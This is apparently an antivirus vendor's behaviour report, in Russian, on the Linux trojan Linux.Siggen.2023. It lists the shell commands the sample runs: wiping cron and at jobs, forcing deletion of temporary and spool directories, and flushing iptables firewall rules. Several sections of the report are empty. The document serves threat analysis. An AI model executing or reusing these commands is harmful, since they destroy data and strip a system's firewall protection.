Linux.Siggen.2023

Linux.Siggen.2023

Добавлен в вирусную базу Dr.Web: 2019-07-23

Описание добавлено: 2019-07-23

Вредоносные функции:

Запускает себя в качестве демона

Подменяет имя приложения на:

Модифицирует настройки брандмауэра:

Запускает процессы:

sh -c rm -rf /var/spool/cr*/* ; rm -rf /etc/cron.*/* ; crontab -r ; > /dev/null 2>&1
rm -rf /var/spool/cron/atjobs /var/spool/cron/atspool /var/spool/cron/crontabs
sh -c chattr -R -i /tmp/* ; rm -rf /tmp/.* ; rm -rf /tmp/* ; crontab -r ; for i in `atq | awk '{print $1}'`; do atrm $i; done ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; chattr -R -i /var/spool/*/* ; rm -rf /var/spool/*/*/* ; mkdir /tmp ; >/dev/null 2>&1
chattr -R -i /tmp/*
rm -rf /tmp/. /tmp/.. /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix /tmp/.font-unix
sh -c iptables -F ; iptables-save >/dev/null 2>&1
sh -c /root/wjociy
/root/wjociy
iptables-save
sh -c chattr -R -i /tmp/* ; rm -rf /tmp/.* ; rm -rf /tmp/* ; for i in `atq | awk '{print $1}'`; do atrm $i; done ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; chattr -R -i /var/spool/*/* ; rm -rf /var/spool/*/*/* ; >/dev/null 2>&1
rm -rf /tmp/. /tmp/.. /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix /tmp/.font-unix
rm -rf /tmp/*
sh -c /root/kkvs kkvs
/root/kkvs kkvs
sh -c /root/wgyxgi wgyx
/root/wgyxgi wgyx

Завершает системные процессы:

Завершает следующие процессы:

Выполняет операции с файловой системой:

Модифицирует права доступа к файлам:

Удаляет папки:

Создает или модифицирует файлы:

Удаляет файлы:

Сетевая активность:

HTTP GET-запросы: